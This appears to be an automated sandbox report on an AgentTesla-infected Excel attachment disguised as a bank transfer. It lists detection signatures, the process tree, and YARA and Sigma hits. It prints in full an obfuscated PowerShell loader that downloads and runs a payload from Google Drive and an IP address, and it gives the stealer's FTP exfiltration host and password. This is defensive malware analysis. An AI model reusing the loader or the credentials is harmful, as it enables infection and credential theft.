Edit tour

Windows Analysis Report
transferencia interbancaria_66579.xlam.xlsx

Overview

General Information

Sample name:	transferencia interbancaria_66579.xlam.xlsx
Analysis ID:	1540840
MD5:	c2a1f2f11eafc8f0faa2480b44d95d7d
SHA1:	4aacb955102f10f5c66089fd097f22a633360383
SHA256:	bf04af05000e8205dad105999af809b1031eeb438aff45e36ae9ab416d669002
Tags:	xlamxlsxuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Obfuscated command line found

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Shellcode detected

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Equation Editor Network Connection

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3496 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 3700 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

wscript.exe (PID: 3840 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A)

powershell.exe (PID: 3884 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3984 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) | & ((varIABLE '*Mdr*').Name[3,11,2]-JOin'')" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

AddInProcess32.exe (PID: 3136 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	INDICATOR_XML_LegacyDrawing_AutoLoad_Document	detects AutoLoad documents using LegacyDrawing	ditekSHen	0x1bd2:$s1: <legacyDrawing r:id=" 0x1bfa:$s2: <oleObject progId=" 0x1c38:$s3: autoLoad="true"

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.628239471.00000000023C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 3884	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x43d4:$b3: ::UTF8.GetString( 0x37d8b:$b3: ::UTF8.GetString( 0x38e1a:$b3: ::UTF8.GetString( 0x3972f:$b3: ::UTF8.GetString( 0x3eb32:$b3: ::UTF8.GetString( 0x3f4d9:$b3: ::UTF8.GetString( 0x3fde0:$b3: ::UTF8.GetString( 0x410bb:$b3: ::UTF8.GetString( 0x45b38:$b3: ::UTF8.GetString( 0x46493:$b3: ::UTF8.GetString( 0x46d9a:$b3: ::UTF8.GetString( 0x47945:$b3: ::UTF8.GetString( 0x4e4a4:$b3: ::UTF8.GetString( 0x4e552:$b3: ::UTF8.GetString( 0x4ee28:$b3: ::UTF8.GetString( 0x5831a:$b3: ::UTF8.GetString( 0x58c7c:$b3: ::UTF8.GetString( 0x59583:$b3: ::UTF8.GetString( 0x5a0ea:$b3: ::UTF8.GetString( 0x5acc1:$b3: ::UTF8.GetString( 0x9bc88:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 3984	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 3984	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 3984	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 3984	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2c93b4:$b2: ::FromBase64String( 0x2cac60:$b2: ::FromBase64String( 0x2c917d:$b3: ::UTF8.GetString( 0x2caa67:$b3: ::UTF8.GetString( 0xadaf:$s1: -join 0x17d79:$s1: -join 0x1b0da:$s1: -join 0x1b76b:$s1: -join 0x1d1cf:$s1: -join 0x1f360:$s1: -join 0x1fb87:$s1: -join 0x203f7:$s1: -join 0x20b39:$s1: -join 0x20b6b:$s1: -join 0x20bb3:$s1: -join 0x20bd2:$s1: -join 0x21422:$s1: -join 0x2159e:$s1: -join 0x21616:$s1: -join 0x216a9:$s1: -join 0x2190f:$s1: -join
Process Memory Space: AddInProcess32.exe PID: 3136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AddInProcess32.exe PID: 3136	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.powershell.exe.723ab28.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.powershell.exe.723ab28.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.powershell.exe.723ab28.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.powershell.exe.723ab28.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34429:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3449b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34525:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x345b7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34621:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34693:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34729:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x347b9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.powershell.exe.723ab28.0.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31623:$s2: GetPrivateProfileString 0x30cdb:$s3: get_OSFullName 0x3234c:$s5: remove_Key 0x324e3:$s5: remove_Key 0x3347a:$s6: FtpWebRequest 0x3440b:$s7: logins 0x3497d:$s7: logins 0x376f6:$s7: logins 0x37740:$s7: logins 0x39095:$s7: logins 0x382da:$s9: 1.85 (Hash, version 2, native byte-order)
8.2.powershell.exe.723ab28.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.powershell.exe.723ab28.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.powershell.exe.723ab28.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32629:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3269b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32725:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x327b7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32821:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32893:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32929:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x329b9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.powershell.exe.723ab28.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2f823:$s2: GetPrivateProfileString 0x2eedb:$s3: get_OSFullName 0x3054c:$s5: remove_Key 0x306e3:$s5: remove_Key 0x3167a:$s6: FtpWebRequest 0x3260b:$s7: logins 0x32b7d:$s7: logins 0x358f6:$s7: logins 0x35940:$s7: logins 0x37295:$s7: logins 0x364da:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34429:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3449b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34525:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x345b7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34621:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34693:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34729:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x347b9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.AddInProcess32.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31623:$s2: GetPrivateProfileString 0x30cdb:$s3: get_OSFullName 0x3234c:$s5: remove_Key 0x324e3:$s5: remove_Key 0x3347a:$s6: FtpWebRequest 0x3440b:$s7: logins 0x3497d:$s7: logins 0x376f6:$s7: logins 0x37740:$s7: logins 0x39095:$s7: logins 0x382da:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 9 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 107.172.31.13, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3700, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3700, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NIGHTTTTMPDW-constraints[1].vbs

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0Lklu

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49165, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3700, Protocol: tcp, SourceIp: 107.172.31.13, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) | & ((varIABLE '*Mdr*').Name[3,11,2]-JOin'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = 